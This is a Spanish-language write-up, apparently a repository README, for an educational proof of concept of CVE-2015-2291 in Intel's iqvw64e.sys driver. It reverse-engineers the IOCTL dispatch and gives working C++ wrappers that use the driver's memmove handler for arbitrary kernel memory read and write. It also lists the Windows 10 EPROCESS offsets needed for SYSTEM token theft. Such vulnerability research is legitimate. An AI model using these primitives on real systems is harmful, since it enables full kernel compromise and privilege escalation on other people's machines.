
CVE-2015-2291 Escalada de privilegios local PoC
CVE-2015-2291 PoC de escalada de privilegios local

Este proyecto es una prueba de concepto educativa para una vulnerabilidad de Escalada de Privilegios Local (LPE) en el driver iqvw64e.sys (SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9) — el controlador de diagnóstico de Ethernet de Intel asociado con CVE-2015-2291.
Después de ver el driver explotado en cargadores de modo kernel como KDMapper, quise realizar ingeniería inversa por mi cuenta para entender cómo funciona el despacho de IOCTL, qué tipo de funciones expone al modo usuario y cómo un atacante podría descubrirlas o aprovecharlas. Este análisis recorre el proceso desde el análisis estático hasta la construcción de primitivas de memoria usando DeviceIoControl, y finalmente la creación de un exploit que abusa de esas primitivas para reemplazar el token de acceso del proceso actual con el token del proceso SYSTEM, elevando efectivamente el proceso a privilegios SYSTEM.
En Windows, cada proceso está asociado con un token de acceso que define su identidad y privilegios. Al obtener lectura/escritura arbitraria del kernel, se vuelve posible modificar el puntero al token almacenado en la estructura de proceso del kernel. Reemplazar este puntero con el del proceso SYSTEM hace que el SO asocie el proceso actual con el contexto de seguridad de SYSTEM, otorgándole efectivamente privilegios completos. Obtenga más información aquí.
El driver registra una rutina de despacho para IRP_MJ_DEVICE_CONTROL, que maneja llamadas DeviceIoControl desde el modo usuario. Como se muestra a continuación, conduce a sub_11150 que dirige el flujo de código según el Código de Control de IO de entrada. En este caso, estamos interesados en 0x80862007, que nos lleva a loc_111C2.

Siguiendo el flujo de control a través de loc_111C2, llegamos a sub_113C0. Recibe un búfer de entrada (a1) y usa el primer QWORD de ese búfer como índice en una tabla de saltos de funciones manejadoras internas. Aquí, el driver realiza lo siguiente:
Lee a1 → primer QWORD (0x0) → jump_table_index
Realiza un switch basado en este índice
Despacha a la función interna correspondiente
Usa los campos restantes de a1 como argumentos
Ahora sabemos que el búfer de entrada controla tanto el objetivo de despacho como sus parámetros. Definiremos más a fondo la estructura del búfer de entrada a medida que continuamos el análisis.
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00 — used as the dispatch selector
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;


memmoveMientras analizaba los casos de la tabla de saltos, busqué manejadores que se asemejaran a memmove o memcpy. En el caso 0x33, el driver llama a sub_11EA0, pasando tres campos del búfer de entrada. Esto se asemeja fuertemente a una copia de memoria:

Al abrir sub_11EA0, encontramos la firma esperada:
void* memmove( void* dest, const void* src, std::size_t count );
El desensamblado confirma que:
a1 = destinationa2 = sourcea3 = length
Con esta información, ahora podemos reconstruir completamente el diseño del búfer de entrada esperado para la llamada memmove:
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00
uint64_t padding; // 0x08 (8)
uint64_t source; // 0x10 (16)
uint64_t destination; // 0x18 (24)
uint64_t length; // 0x20 (32)
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;
Ahora entendemos que al enviar un MEMMOVE_INPUT_BUFFER válido al driver, con:
jump_table_index = 0x33source, destination y length configurados según sea necesarioPodemos instruir al driver para que llame a memmove en direcciones arbitrarias, lo que nos otorga capacidades completas de lectura/escritura de memoria del kernel desde el modo usuario.
Aquí están los wrappers de modo usuario construidos alrededor de esta primitiva:
bool MemMove(uint64_t destination, uint64_t source, uint64_t size) {
if (!destination || !source || !size)
return 0;
MEMMOVE_INPUT_BUFFER input_buffer = { 0 };
input_buffer.jump_table_index = 0x33; //jumptable index for memmove (51)
input_buffer.source = source;
input_buffer.destination = destination;
input_buffer.length = size;
DWORD bytes_returned = 0;
return DeviceIoControl(hDriver, IOCTL_MEMMOVE, &input_buffer, sizeof(input_buffer), nullptr, 0, &bytes_returned, nullptr);
}
uintptr_t read64(uintptr_t address)
{
uintptr_t value = 0;
if (MemMove(reinterpret_cast<uint64_t>(&value), address, sizeof(uintptr_t)))
return value;
return 0;
}
bool write64(uintptr_t address, uintptr_t value)
{
return MemMove(address, reinterpret_cast<uint64_t>(&value), sizeof(uintptr_t));
}
Estos ayudantes permiten lecturas y escrituras arbitrarias de 64 bits en memoria virtual del kernel. A partir de este punto, varios ataques se vuelven posibles (como robo de token de EPROCESS), pero este análisis se centra en reconstrucción y análisis. Encontrará que main.cpp contiene un exploit PoC de robo de token de EPROCESS, cortesía de Eap2468 en CVE-2021-2155
Versión de Windows: 10 x64 22H2 (19045.6466)
Desplazamientos de EPROCESS:
UniqueProcessId: 0x440ActiveProcessLinks: 0x448Token: 0x4b8Driver: iqvw64e.sys (El binario del driver ha sido incluido en el repositorio para su conveniencia)
SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9
